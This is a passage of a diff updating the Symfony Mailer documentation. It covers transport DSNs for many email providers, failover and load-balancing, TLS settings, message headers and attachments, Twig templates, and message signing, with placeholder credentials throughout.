``mandrill+api://KEY@default`` | ++------------------------+---------------------------------------------------------+ +| `MailerSend`_ | - SMTP ``mailersend+smtp://KEY@default`` | +| | - HTTP n/a | +| | - API ``mailersend+api://KEY@BASE_URL`` | ++------------------------+---------------------------------------------------------+ +| `Mailgun`_ | - SMTP ``mailgun+smtp://USERNAME:PASSWORD@default`` | +| | - HTTP ``mailgun+https://KEY:DOMAIN@default`` | +| | - API ``mailgun+api://KEY:DOMAIN@default`` | ++------------------------+---------------------------------------------------------+ +| `Mailjet`_ | - SMTP ``mailjet+smtp://ACCESS_KEY:SECRET_KEY@default`` | +| | - HTTP n/a | +| | - API ``mailjet+api://ACCESS_KEY:SECRET_KEY@default`` | ++------------------------+---------------------------------------------------------+ +| `Mailomat`_ | - SMTP ``mailomat+smtp://USERNAME:PASSWORD@default`` | +| | - HTTP n/a | +| | - API ``mailomat+api://KEY@default`` | ++------------------------+---------------------------------------------------------+ +| `MailPace`_ | - SMTP ``mailpace+api://API_TOKEN@default`` | +| | - HTTP n/a | +| | - API ``mailpace+api://API_TOKEN@default`` | ++------------------------+---------------------------------------------------------+ +| `Mailtrap`_ | - SMTP ``mailtrap+smtp://PASSWORD@default`` | +| | - HTTP n/a | +| | - API ``mailtrap+api://API_TOKEN@default`` | ++------------------------+---------------------------------------------------------+ +| `Postal`_ | - SMTP n/a | +| | - HTTP n/a | +| | - API ``postal+api://API_KEY@BASE_URL`` | ++------------------------+---------------------------------------------------------+ +| `Postmark`_ | - SMTP ``postmark+smtp://ID@default`` | +| | - HTTP n/a | +| | - API ``postmark+api://KEY@default`` | ++------------------------+---------------------------------------------------------+ +| `Resend`_ | - SMTP ``resend+smtp://resend:API_KEY@default`` | +| | - HTTP n/a | +| | - API ``resend+api://API_KEY@default`` | ++------------------------+---------------------------------------------------------+ +| `Scaleway`_ | - SMTP ``scaleway+smtp://PROJECT_ID:API_KEY@default`` | +| | - HTTP n/a | +| | - API ``scaleway+api://PROJECT_ID:API_KEY@default`` | ++------------------------+---------------------------------------------------------+ +| `Sendgrid`_ | - SMTP ``sendgrid+smtp://KEY@default`` | +| | - HTTP n/a | +| | - API ``sendgrid+api://KEY@default`` | ++------------------------+---------------------------------------------------------+ +| `Sweego`_ | - SMTP ``sweego+smtp://LOGIN:PASSWORD@HOST:PORT`` | +| | - HTTP n/a | +| | - API ``sweego+api://API_KEY@default`` | ++------------------------+---------------------------------------------------------+ + +.. warning:: If your credentials contain special characters, you must URL-encode them. For example, the DSN ``ses+smtp://ABC1234:abc+12/345@default`` should be configured as ``ses+smtp://ABC1234:abc%2B12%2F345@default`` +.. warning:: + + If you want to use the ``ses+smtp`` transport together with :doc:`Messenger </messenger>` + to :ref:`send messages in background <mailer-sending-messages-async>`, + you need to add the ``ping_threshold`` parameter to your ``MAILER_DSN`` with + a value lower than ``10``: ``ses+smtp://USERNAME:PASSWORD@default?ping_threshold=9`` + .. note:: When using SMTP, the default timeout for sending a message before throwing an exception is the value defined in the `default_socket_timeout`_ PHP.ini option. - .. versionadded:: 5.1 +.. note:: + + Besides SMTP, many 3rd party transports offer a web API to send emails. + To do so, you have to install (additionally to the bridge) + the HttpClient component via ``composer require symfony/http-client``. + +.. note:: - The usage of ``default_socket_timeout`` as the default timeout was - introduced in Symfony 5.1. + To use Google Gmail, you must have a Google Account with 2-Step-Verification (2FA) + enabled and you must use `App Password`_ to authenticate. Also note that Google + revokes your App Passwords when you change your Google Account password and then + you need to generate a new one. + Using other methods (like ``XOAUTH2`` or the ``Gmail API``) are not supported currently. + You should use Gmail for testing purposes only and use a real provider in production. .. tip:: @@ -129,11 +296,27 @@ party provider: .. code-block:: env # .env - MAILER_DSN=mailgun+https://KEY:DOMAIN@example.com - MAILER_DSN=mailgun+https://KEY:DOMAIN@example.com:99 + MAILER_DSN=mailgun+https://KEY:DOMAIN@requestbin.com Note that the protocol is *always* HTTPs and cannot be changed. +.. note:: + + The specific transports, e.g. ``mailgun+smtp`` are designed to work without any manual configuration. + Changing the port by appending it to your DSN is not supported for any of these ``<provider>+smtp`` transports. + If you need to change the port, use the ``smtp`` transport instead, like so: + + .. code-block:: env + + # .env + MAILER_DSN=smtp://KEY:DOMAIN@smtp.eu.mailgun.org.com:25 + +.. tip:: + + Some third party mailers, when using the API, support status callbacks + via webhooks. See the :doc:`Webhook documentation </webhook>` for more + details. + High Availability ~~~~~~~~~~~~~~~~~ @@ -147,9 +330,20 @@ A failover transport is configured with two or more transports and the MAILER_DSN="failover(postmark+api://ID@default sendgrid+smtp://KEY@default)" -The mailer will start using the first transport. If the sending fails, the -mailer won't retry it with the other transports, but it will switch to the next -transport automatically for the following deliveries. +The failover-transport starts using the first transport and if it fails, it +will retry the same delivery with the next transports until one of them succeeds +(or until all of them fail). + +By default, delivery is retried 60 seconds after a failed attempt. You can adjust +the retry period by setting the ``retry_period`` option in the DSN: + +.. code-block:: env + + MAILER_DSN="failover(postmark+api://ID@default sendgrid+smtp://KEY@default)?retry_period=15" + +.. versionadded:: 7.3 + + The ``retry_period`` option was introduced in Symfony 7.3. Load Balancing ~~~~~~~~~~~~~~ @@ -164,14 +358,23 @@ A round-robin transport is configured with two or more transports and the MAILER_DSN="roundrobin(postmark+api://ID@default sendgrid+smtp://KEY@default)" -The mailer will start using a randomly selected transport and if it fails, it -will retry the same delivery with the next transports until one of them succeeds -(or until all of them fail). +The round-robin transport starts with a *randomly* selected transport and +then switches to the next available transport for each subsequent email. + +As with the failover transport, round-robin retries deliveries until +a transport succeeds (or all fail). In contrast to the failover transport, +it *spreads* the load across all its transports. + +By default, delivery is retried 60 seconds after a failed attempt. You can adjust +the retry period by setting the ``retry_period`` option in the DSN: + +.. code-block:: env + + MAILER_DSN="roundrobin(postmark+api://ID@default sendgrid+smtp://KEY@default)?retry_period=15" -.. versionadded:: 5.1 +.. versionadded:: 7.3 - The random selection of the first transport was introduced in Symfony 5.1. - In previous Symfony versions the first transport was always selected first. + The ``retry_period`` option was introduced in Symfony 7.3. TLS Peer Verification ~~~~~~~~~~~~~~~~~~~~~ @@ -181,11 +384,173 @@ configurable with the ``verify_peer`` option. Although it's not recommended to disable this verification for security reasons, it can be useful while developing the application or when using a self-signed certificate:: - $dsn = 'smtp://user:pass@smtp.example.com?verify_peer=0' + $dsn = 'smtp://user:pass@smtp.example.com?verify_peer=0'; + +TLS Peer Fingerprint Verification +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Additional fingerprint verification can be enforced with the ``peer_fingerprint`` +option. This is especially useful when a self-signed certificate is used and +disabling ``verify_peer`` is needed, but security is still desired. Fingerprint +may be specified as SHA1 or MD5 hash:: + + $dsn = 'smtp://user:pass@smtp.example.com?peer_fingerprint=6A1CF3B08D175A284C30BC10DE19162307C7286E'; + +Disabling Automatic TLS +~~~~~~~~~~~~~~~~~~~~~~~ + +.. versionadded:: 7.1 + + The option to disable automatic TLS was introduced in Symfony 7.1. + +By default, the Mailer component will use encryption when the OpenSSL extension +is enabled and the SMTP server supports ``STARTTLS``. This behavior can be turned +off by calling ``setAutoTls(false)`` on the ``EsmtpTransport`` instance, or by +setting the ``auto_tls`` option to ``false`` in the DSN:: + + $dsn = 'smtp://user:pass@10.0.0.25?auto_tls=false'; + +.. warning:: + + It's not recommended to disable TLS while connecting to an SMTP server over + the Internet, but it can be useful when both the application and the SMTP + server are in a secured network, where there is no need for additional encryption. + +.. note:: + + This setting only works when the ``smtp://`` protocol is used. + +Ensure TLS +~~~~~~~~~~ + +You may want to ensure that TLS is used (either directly or via ``STARTTLS``) +when sending mail over SMTP, regardless of other options or SMTP server support. +To require TLS, call ``setRequireTls(true)`` on the ``EsmtpTransport`` instance, +or set the ``require_tls`` option to ``true`` in the DSN:: + + $dsn = 'smtp://user:pass@10.0.0.25?require_tls=true'; + +When TLS is required, a :class:`Symfony\\Component\\Mailer\\Exception\\TransportException` +is thrown if a TLS connection cannot be established during the initial communication +with the SMTP server. + +.. note:: + + This setting only applies when using the ``smtp://`` protocol. + +.. versionadded:: 7.3 + + The ``require_tls`` option was introduced in Symfony 7.3. + +Binding to IPv4 or IPv6 +~~~~~~~~~~~~~~~~~~~~~~~ + +.. versionadded:: 7.3 + + The option to bind to IPv4, or IPv6, or a specific IP address was introduced in Symfony 7.3. + +By default, the underlying ``SocketStream`` will bind to IPv4 or IPv6 based on the +available interfaces. You can enforce binding to a specific protocol or IP address +by using the ``source_ip`` option. To bind to IPv4, use:: + + $dsn = 'smtp://smtp.example.com?source_ip=0.0.0.0'; + +As per RFC2732, IPv6 addresses must be enclosed in square brackets. To bind to IPv6, use:: + + $dsn = 'smtp://smtp.example.com?source_ip=[::]'; + +.. note:: + + This option only works when using the ``smtp://`` protocol. + +Overriding default SMTP authenticators +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +By default, SMTP transports will try to login using all authentication methods +available on the SMTP server, one after the other. In some cases, it may be +useful to redefine the supported authentication methods to ensure that the +preferred method will be used first. + +This can be done from ``EsmtpTransport`` constructor or using the +``setAuthenticators()`` method:: + + use Symfony\Component\Mailer\Transport\Smtp\Auth\XOAuth2Authenticator; + use Symfony\Component\Mailer\Transport\Smtp\EsmtpTransport; + + // Choose one of these two options: + + // Option 1: pass the authenticators to the constructor + $transport = new EsmtpTransport( + host: 'oauth-smtp.domain.tld', + authenticators: [new XOAuth2Authenticator()] + ); + + // Option 2: call a method to redefine the authenticators + $transport->setAuthenticators([new XOAuth2Authenticator()]); + +Other Options +~~~~~~~~~~~~~ + +``command`` + Command to be executed by ``sendmail`` transport:: + + $dsn = 'sendmail://default?command=/usr/sbin/sendmail%20-oi%20-t' + +``local_domain`` + The domain name to use in ``HELO`` command:: + + $dsn = 'smtps://smtp.example.com?local_domain=example.org' + +``restart_threshold`` + The maximum number of messages to send before re-starting the transport. It + can be used together with ``restart_threshold_sleep``:: + + $dsn = 'smtps://smtp.example.com?restart_threshold=10&restart_threshold_sleep=1' + +``restart_threshold_sleep`` + The number of seconds to sleep between stopping and re-starting the transport. + It's common to combine it with ``restart_threshold``:: + + $dsn = 'smtps://smtp.example.com?restart_threshold=10&restart_threshold_sleep=1' + +``ping_threshold`` + The minimum number of seconds between two messages required to ping the server:: + + $dsn = 'smtps://smtp.example.com?ping_threshold=200' + +``max_per_second`` + The number of messages to send per second (0 to disable this limitation):: + + $dsn = 'smtps://smtp.example.com?max_per_second=2' + +Custom Transport Factories +~~~~~~~~~~~~~~~~~~~~~~~~~~ + +If you want to support your own custom DSN (``acme://...``), you can create a +custom transport factory. To do so, create a class that implements +:class:`Symfony\\Component\\Mailer\\Transport\\TransportFactoryInterface` or, if +you prefer, extend the :class:`Symfony\\Component\\Mailer\\Transport\\AbstractTransportFactory` +class to save some boilerplate code:: -.. versionadded:: 5.1 + // src/Mailer/AcmeTransportFactory.php + final class AcmeTransportFactory extends AbstractTransportFactory + { + public function create(Dsn $dsn): TransportInterface + { + // parse the given DSN, extract data/credentials from it + // and then, create and return the transport + } + + protected function getSupportedSchemes(): array + { + // this supports DSN starting with `acme://` + return ['acme']; + } + } - The ``verify_peer`` option was introduced in Symfony 5.1. +After creating the custom transport class, register it as a service in your +application and :doc:`tag it </service_container/tags>` with the +``mailer.transport_factory`` tag. Creating & Sending Messages --------------------------- @@ -198,15 +563,15 @@ and create an :class:`Symfony\\Component\\Mime\\Email` object:: namespace App\Controller; use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; + use Symfony\Component\HttpFoundation\Response; use Symfony\Component\Mailer\MailerInterface; use Symfony\Component\Mime\Email; + use Symfony\Component\Routing\Attribute\Route; class MailerController extends AbstractController { - /** - * @Route("/email") - */ - public function sendEmail(MailerInterface $mailer) + #[Route('/email')] + public function sendEmail(MailerInterface $mailer): Response { $email = (new Email()) ->from('hello@example.com') @@ -225,7 +590,12 @@ and create an :class:`Symfony\\Component\\Mime\\Email` object:: } } -That's it! The message will be sent via the transport you configured. +That's it! The message will be sent immediately via the transport you configured. +If you prefer to send emails asynchronously to improve performance, read the +:ref:`Sending Messages Async <mailer-sending-messages-async>` section. Also, if +your application has the :doc:`Messenger component </messenger>` installed, all +emails will be sent asynchronously by default +(but :ref:`you can change that <messenger-handling-messages-synchronously>`). Email Addresses ~~~~~~~~~~~~~~~ @@ -240,6 +610,10 @@ both strings or address objects:: // email address as a simple string ->from('fabien@example.com') + // non-ASCII characters are supported both in the local part and the domain; + // if the SMTP server doesn't support this feature, you'll see an exception + ->from('jânë.dœ@ëxãmplę.com') + // email address as an object ->from(new Address('fabien@example.com')) @@ -257,26 +631,27 @@ both strings or address objects:: .. tip:: Instead of calling ``->from()`` *every* time you create a new email, you can - create an :doc:`event subscriber </event_dispatcher>` and listen to the - :class:`Symfony\\Component\\Mailer\\Event\\MessageEvent` event to set the + :ref:`configure emails globally <mailer-configure-email-globally>` to set the same ``From`` email to all messages. +.. versionadded:: 7.2 + + Support for non-ASCII email addresses (e.g. ``jânë.dœ@ëxãmplę.com``) + was introduced in Symfony 7.2. + .. note:: The local part of the address (what goes before the ``@``) can include UTF-8 characters, except for the sender address (to avoid issues with bounced emails). For example: ``föóbàr@example.com``, ``用户@example.com``, ``θσερ@example.com``, etc. - .. versionadded:: 5.2 - - Support for UTF-8 characters in email addresses was introduced in Symfony 5.2. - -Multiple addresses are defined with the ``addXXX()`` methods:: +Use ``addTo()``, ``addCc()``, or ``addBcc()`` methods to add more addresses:: $email = (new Email()) ->to('foo@example.com') ->addTo('bar@example.com') - ->addTo('baz@example.com') + ->cc('cc@example.com') + ->addCc('cc2@example.com') // ... ; @@ -302,13 +677,23 @@ header, etc.) but most of the times you'll set text headers:: $email = (new Email()) ->getHeaders() - // this header tells auto-repliers ("email holiday mode") to not - // reply to this message because it's an automated email - ->addTextHeader('X-Auto-Response-Suppress', 'OOF, DR, RN, NRN, AutoReply'); + // this non-standard header tells compliant autoresponders ("email holiday mode") + // to not reply to this message because it's an automated email + ->addTextHeader('X-Auto-Response-Suppress', 'OOF, DR, RN, NRN, AutoReply') - // ... + // use an array if you want to add a header with multiple values + // (for example in the "References" or "In-Reply-To" header) + ->addIdHeader('References', ['123@example.com', '456@example.com']) + + // ... ; +.. tip:: + + Instead of calling ``->addTextHeader()`` *every* time you create a new email, you can + :ref:`configure emails globally <mailer-configure-email-globally>` to set the same + headers to all sent emails. + Message Contents ~~~~~~~~~~~~~~~~ @@ -335,22 +720,28 @@ result of rendering some template) or PHP resources:: File Attachments ~~~~~~~~~~~~~~~~ -Use the ``attachFromPath()`` method to attach files that exist on your file system:: +Use the ``addPart()`` method with a ``File`` to add files that exist on your +file system:: + + use Symfony\Component\Mime\Part\DataPart; + use Symfony\Component\Mime\Part\File; + // ... $email = (new Email()) // ... - ->attachFromPath('/path/to/documents/terms-of-use.pdf') + ->addPart(new DataPart(new File('/path/to/documents/terms-of-use.pdf'))) // optionally you can tell email clients to display a custom name for the file - ->attachFromPath('/path/to/documents/privacy.pdf', 'Privacy Policy') + ->addPart(new DataPart(new File('/path/to/documents/privacy.pdf'), 'Privacy Policy')) // optionally you can provide an explicit MIME type (otherwise it's guessed) - ->attachFromPath('/path/to/documents/contract.doc', 'Contract', 'application/msword') + ->addPart(new DataPart(new File('/path/to/documents/contract.doc'), 'Contract', 'application/msword')) ; -Alternatively you can use the ``attach()`` method to attach contents from a stream:: +Alternatively you can attach contents from a stream by passing it directly to +the ``DataPart``:: $email = (new Email()) // ... - ->attach(fopen('/path/to/documents/contract.doc', 'r')) + ->addPart(new DataPart(fopen('/path/to/documents/contract.doc', 'r'))) ; Embedding Images @@ -361,29 +752,123 @@ instead of adding them as attachments. When using Twig to render the email contents, as explained :ref:`later in this article <mailer-twig-embedding-images>`, the images are embedded automatically. Otherwise, you need to embed them manually. -First, use the ``embed()`` or ``embedFromPath()`` method to add an image from a +First, use the ``addPart()`` method to add an image from a file or stream:: $email = (new Email()) // ... // get the image contents from a PHP resource - ->embed(fopen('/path/to/images/logo.png', 'r'), 'logo') + ->addPart((new DataPart(fopen('/path/to/images/logo.png', 'r'), 'logo', 'image/png'))->asInline()) // get the image contents from an existing file - ->embedFromPath('/path/to/images/signature.gif', 'footer-signature') + ->addPart((new DataPart(new File('/path/to/images/signature.gif'), 'footer-signature', 'image/gif'))->asInline()) ; +Use the ``asInline()`` method to embed the content instead of attaching it. + The second optional argument of both methods is the image name ("Content-ID" in -the MIME standard). Its value is an arbitrary string used later to reference the -images inside the HTML contents:: +the MIME standard). Its value is an arbitrary string that must be unique in each +email message and is used later to reference the images inside the HTML contents:: $email = (new Email()) // ... - ->embed(fopen('/path/to/images/logo.png', 'r'), 'logo') - ->embedFromPath('/path/to/images/signature.gif', 'footer-signature') + ->addPart((new DataPart(fopen('/path/to/images/logo.png', 'r'), 'logo', 'image/png'))->asInline()) + ->addPart((new DataPart(new File('/path/to/images/signature.gif'), 'footer-signature', 'image/gif'))->asInline()) + // reference images using the syntax 'cid:' + "image embed name" ->html('<img src="cid:logo"> ... <img src="cid:footer-signature"> ...') + + // use the same syntax for images included as HTML background images + ->html('... <div background="cid:footer-signature"> ... </div> ...') + ; + +The actual Content-ID value present in the e-mail source will be randomly generated by Symfony. +You can also use the :method:`DataPart::setContentId() <Symfony\\Component\\Mime\\Part\\DataPart::setContentId>` +method to define a custom Content-ID for the image and use it as its ``cid`` reference:: + + $part = new DataPart(new File('/path/to/images/signature.gif')); + // according to the spec, the Content-ID value must include at least one '@' character + $part->setContentId('footer-signature@my-app'); + + $email = (new Email()) + // ... + ->addPart($part->asInline()) + ->html('... <img src="cid:footer-signature@my-app"> ...') ; +.. _mailer-configure-email-globally: + +Configuring Emails Globally +--------------------------- + +Instead of calling ``->from()`` on each Email you create, you can configure this +value globally so that it is set on all sent emails. The same is true with ``->to()`` +and headers. + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/mailer.yaml + framework: + mailer: + envelope: + sender: 'fabien@example.com' + recipients: ['foo@example.com', 'bar@example.com'] + headers: + From: 'Fabien <fabien@example.com>' + Bcc: 'baz@example.com' + X-Custom-Header: 'foobar' + + .. code-block:: xml + + <!-- config/packages/mailer.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:framework="http://symfony.com/schema/dic/symfony" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> + + <!-- ... --> + <framework:config> + <framework:mailer> + <framework:envelope> + <framework:sender>fabien@example.com</framework:sender> + <framework:recipients>foo@example.com</framework:recipients> + <framework:recipients>bar@example.com</framework:recipients> + </framework:envelope> + <framework:header name="From">Fabien <fabien@example.com></framework:header> + <framework:header name="Bcc">baz@example.com</framework:header> + <framework:header name="X-Custom-Header">foobar</framework:header> + </framework:mailer> + </framework:config> + </container> + + .. code-block:: php + + // config/packages/mailer.php + use Symfony\Config\FrameworkConfig; + + return static function (FrameworkConfig $framework): void { + $mailer = $framework->mailer(); + $mailer + ->envelope() + ->sender('fabien@example.com') + ->recipients(['foo@example.com', 'bar@example.com']) + ; + + $mailer->header('From')->value('Fabien <fabien@example.com>'); + $mailer->header('Bcc')->value('baz@example.com'); + $mailer->header('X-Custom-Header')->value('foobar'); + }; + +.. warning:: + + Some third-party providers don't support the usage of keywords like ``from`` + in the ``headers``. Check out your provider's documentation before setting + any global header. + Handling Sending Failures ------------------------- @@ -407,23 +892,61 @@ Catch that exception to recover from the error or to display some message:: // error message or try to resend the message } +.. _mailer-debugging-emails: + Debugging Emails ---------------- -The :class:`Symfony\\Component\\Mailer\\SentMessage` object returned by the -``send()`` method of the :class:`Symfony\\Component\\Mailer\\Transport\\TransportInterface` -provides access to the original message (``getOriginalMessage()``) and to some -debug information (``getDebug()``) such as the HTTP calls done by the HTTP -transports, which is useful to debug errors. +The ``send()`` method of the mailer service injected when using ``MailerInterface`` +doesn't return anything, so you can't access the sent email information. This is because +it sends email messages **asynchronously** when the :doc:`Messenger component </messenger>` +is used in the application. + +To access information about the sent email, update your code to replace the +:class:`Symfony\\Component\\Mailer\\MailerInterface` with +:class:`Symfony\\Component\\Mailer\\Transport\\TransportInterface`: + +.. code-block:: diff + + -use Symfony\Component\Mailer\MailerInterface; + +use Symfony\Component\Mailer\Transport\TransportInterface; + // ... + + class MailerController extends AbstractController + { + #[Route('/email')] + - public function sendEmail(MailerInterface $mailer): Response + + public function sendEmail(TransportInterface $mailer): Response + { + $email = (new Email()) + // ... + + $sentEmail = $mailer->send($email); + + // ... + } + } + +The ``send()`` method of ``TransportInterface`` returns an object of type +:class:`Symfony\\Component\\Mailer\\SentMessage`. This is because it always sends +the emails **synchronously**, even if your application uses the Messenger component. + +The ``SentMessage`` object provides access to the original message +(``getOriginalMessage()``) and to some debug information (``getDebug()``) such +as the HTTP calls done by the HTTP transports, which is useful to debug errors. + +You can also access the :class:`Symfony\\Component\\Mailer\\SentMessage` object +by listening to the :ref:`SentMessageEvent <mailer-sent-message-event>`, and retrieve +``getDebug()`` by listening to the :ref:`FailedMessageEvent <mailer-failed-message-event>`. .. note:: Some mailer providers change the ``Message-Id`` when sending the email. The - ``getMessageId()`` method from ``SentMessage`` always returns the definitive - ID of the message (being the original random ID generated by Symfony or the - new ID generated by the mailer provider). + ``getMessageId()`` method from ``SentMessage`` always returns the final ID + of the message - whether it's the original random ID generated by Symfony or + a new one generated by the provider. -The exceptions related to mailer transports (those which implement +Exceptions related to mailer transports (those implementing :class:`Symfony\\Component\\Mailer\\Exception\\TransportException`) also provide this debug information via the ``getDebug()`` method. @@ -461,6 +984,9 @@ for Twig templates:: // path of the Twig template to render ->htmlTemplate('emails/signup.html.twig') + // change locale used in the template, e.g. to match user's locale + ->locale('de') + // pass variables (name => value) to the template ->context([ 'expiration_date' => new \DateTime('+7 days'), @@ -481,7 +1007,7 @@ Then, create the template: <p><code>{{ email.to[0].address }}</code></p> <p> - <a href="#">Click here to activate your account</a> + <a href="#">Activate your account</a> (this link is valid until {{ expiration_date|date('F jS') }}) </p> @@ -493,12 +1019,22 @@ method of the ``TemplatedEmail`` class and also to a special variable called Text Content ~~~~~~~~~~~~ -When the text content of a ``TemplatedEmail`` is not explicitly defined, mailer -will generate it automatically by converting the HTML contents into text. If you -have `league/html-to-markdown`_ installed in your application, -it uses that to turn HTML into Markdown (so the text email has some visual appeal). -Otherwise, it applies the :phpfunction:`strip_tags` PHP function to the original -HTML contents. +When the text content of a ``TemplatedEmail`` is not explicitly defined, it is +automatically generated from the HTML contents. + +Symfony uses the following strategy when generating the text version of an +email: + +* If an explicit HTML to text converter has been configured (see + :ref:`twig.mailer.html_to_text_converter + <config-twig-html-to-text-converter>`), it calls it; + +* If not, and if you have `league/html-to-markdown`_ installed in your + application, it uses it to turn HTML into Markdown (so the text email has + some visual appeal); + +* Otherwise, it applies the :phpfunction:`strip_tags` PHP function to the + original HTML contents. If you want to define the text content yourself, use the ``text()`` method explained in the previous sections or the ``textTemplate()`` method provided by @@ -506,15 +1042,15 @@ the ``TemplatedEmail`` class: .. code-block:: diff - + use Symfony\Bridge\Twig\Mime\TemplatedEmail; + +use Symfony\Bridge\Twig\Mime\TemplatedEmail; - $email = (new TemplatedEmail()) - // ... + $email = (new TemplatedEmail()) + // ... - ->htmlTemplate('emails/signup.html.twig') + ->htmlTemplate('emails/signup.html.twig') + ->textTemplate('emails/signup.txt.twig') - // ... - ; + // ... + ; .. _mailer-twig-embedding-images: @@ -559,13 +1095,14 @@ image files as usual. First, to simplify things, define a Twig namespace called .. code-block:: php // config/packages/twig.php - $container->loadFromExtension('twig', [ + use Symfony\Config\TwigConfig; + + return static function (TwigConfig $twig): void { // ... - 'paths' => [ - // point this wherever your images live - '%kernel.project_dir%/assets/images' => 'images', - ], - ]); + + // point this wherever your images live + $twig->path('%kernel.project_dir%/assets/images', 'images'); + }; Now, use the special ``email.image()`` Twig helper to embed the images inside the email contents: @@ -578,6 +1115,18 @@ the email contents: <h1>Welcome {{ email.toName }}!</h1> {# ... #} +By default this will create an attachment using the file path as file name: +``Content-Disposition: inline; name="cid..."; filename="@images/logo.png"``. +This behavior can be overridden by passing a custom file name as the third argument: + +.. code-block:: html+twig + + <img src="{{ email.image('@images/logo.png', 'image/png', 'logo-acme.png') }}" alt="ACME Logo"> + +.. versionadded:: 7.3 + + The third argument of ``email.image()`` was introduced in Symfony 7.3. + .. _mailer-inline-css: Inlining CSS Styles @@ -623,14 +1172,14 @@ arguments to the filter: .. code-block:: html+twig - {% apply inline_css(source('@css/email.css')) %} + {% apply inline_css(source('@styles/email.css')) %} <h1>Welcome {{ username }}!</h1> {# ... #} {% endapply %} You can pass unlimited number of arguments to ``inline_css()`` to load multiple CSS files. For this example to work, you also need to define a new Twig namespace -called ``css`` that points to the directory where ``email.css`` lives: +called ``styles`` that points to the directory where ``email.css`` lives: .. _mailer-css-namespace: @@ -667,13 +1216,14 @@ called ``css`` that points to the directory where ``email.css`` lives: .. code-block:: php // config/packages/twig.php - $container->loadFromExtension('twig', [ + use Symfony\Config\TwigConfig; + + return static function (TwigConfig $twig): void { // ... - 'paths' => [ - // point this wherever your css files live - '%kernel.project_dir%/assets/styles' => 'styles', - ], - ]); + + // point this wherever your css files live + $twig->path('%kernel.project_dir%/assets/styles', 'styles'); + }; .. _mailer-markdown: @@ -702,7 +1252,7 @@ the entire email contents from Markdown to HTML: You signed up to our site using the following email: `{{ email.to[0].address }}` - [Click here to activate your account]({{ url('...') }}) + [Activate your account]({{ url('...') }}) {% endapply %} .. _mailer-inky: @@ -753,14 +1303,16 @@ You can combine all filters to create complex email messages: .. code-block:: twig - {% apply inky_to_html|inline_css(source('@css/foundation-emails.css')) %} + {% apply inky_to_html|inline_css(source('@styles/foundation-emails.css')) %} {# ... #} {% endapply %} -This makes use of the :ref:`css Twig namespace <mailer-css-namespace>` we created +This makes use of the :ref:`styles Twig namespace <mailer-css-namespace>` we created earlier. You could, for example, `download the foundation-emails.css file`_ directly from GitHub and save it in ``assets/styles``. +.. _signing-and-encrypting-messages: + Signing and Encrypting Messages ------------------------------- @@ -778,6 +1330,15 @@ Before signing/encrypting messages, make sure to have: When using OpenSSL to generate certificates, make sure to add the ``-addtrust emailProtection`` command option. +.. warning:: + + Signing and encrypting messages require their contents to be fully rendered. + For example, the content of :ref:`templated emails <mailer-twig>` is rendered + by a :class:`Symfony\\Component\\Mailer\\EventListener\\MessageListener`. + So, if you want to sign and/or encrypt such a message, you need to do it in + a :ref:`MessageEvent <messageevent>` listener run after it (you need to set + a negative priority to your listener). + Signing Messages ~~~~~~~~~~~~~~~~ @@ -794,6 +1355,12 @@ using for example OpenSSL or obtained at an official Certificate Authority (CA). The email recipient must have the CA certificate in the list of trusted issuers in order to verify the signature. +.. warning:: + + If you use message signature, sending to ``Bcc`` will be removed from the + message. If you need to send a message to multiple recipients, you need + to compute a new signature for each recipient. + S/MIME Signer ............. @@ -857,30 +1424,101 @@ key but not a certificate:: ->toArray() ); -.. versionadded:: 5.2 +Signing Messages Globally +......................... - The DKIM signer was introduced in Symfony 5.2. - -Encrypting Messages -~~~~~~~~~~~~~~~~~~~ +Instead of creating a signer instance for each email, you can configure a global +signer that automatically applies to all outgoing messages. This approach +minimizes repetition and centralizes your configuration for DKIM and S/MIME signing. -When encrypting a message, the entire message (including attachments) is -encrypted using a certificate. Therefore, only the recipients that have the -corresponding private key can read the original message contents:: +.. configuration-block:: - use Symfony\Component\Mime\Crypto\SMimeEncrypter; - use Symfony\Component\Mime\Email; + .. code-block:: yaml - $email = (new Email()) - ->from('hello@example.com') - // ... - ->html('...'); + # config/packages/mailer.yaml + framework: + mailer: + dkim_signer: + key: 'file://%kernel.project_dir%/var/certificates/dkim.pem' + domain: 'symfony.com' + select: 's1' + smime_signer: + key: '%kernel.project_dir%/var/certificates/smime.key' + certificate: '%kernel.project_dir%/var/certificates/smime.crt' + passphrase: '' - $encrypter = new SMimeEncrypter('/path/to/certificate.crt'); - $encryptedEmail = $encrypter->encrypt($email); - // now use the Mailer component to send this $encryptedEmail instead of the original email + .. code-block:: xml -You can pass more than one certificate to the ``SMimeEncrypter`` constructor + <!-- config/packages/mailer.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:framework="http://symfony.com/schema/dic/symfony" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> + + <!-- ... --> + <framework:config> + <framework:mailer> + <framework:dkim-signer> + <framework:key>file://%kernel.project_dir%/var/certificates/dkim.pem</framework:key> + <framework:domain>symfony.com</framework:domain> + <framework:select>s1</framework:select> + </framework:dkim-signer> + <framework:smime-signer> + <framework:key>%kernel.project_dir%/var/certificates/smime.pem</framework:key> + <framework:certificate>%kernel.project_dir%/var/certificates/smime.crt</framework:certificate> + <framework:passphrase></framework:passphrase> + </framework:smime-signer> + </framework:mailer> + </framework:config> + </container> + + .. code-block:: php + + // config/packages/mailer.php + use Symfony\Config\FrameworkConfig; + + return static function (FrameworkConfig $framework): void { + $mailer = $framework->mailer(); + $mailer->dsn('%env(MAILER_DSN)%'); + $mailer->dkimSigner() + ->key('file://%kernel.project_dir%/var/certificates/dkim.pem') + ->domain('symfony.com') + ->select('s1'); + + $mailer->smimeSigner() + ->key('%kernel.project_dir%/var/certificates/smime.key') + ->certificate('%kernel.project_dir%/var/certificates/smime.crt') + ->passphrase('') + ; + }; + +.. versionadded:: 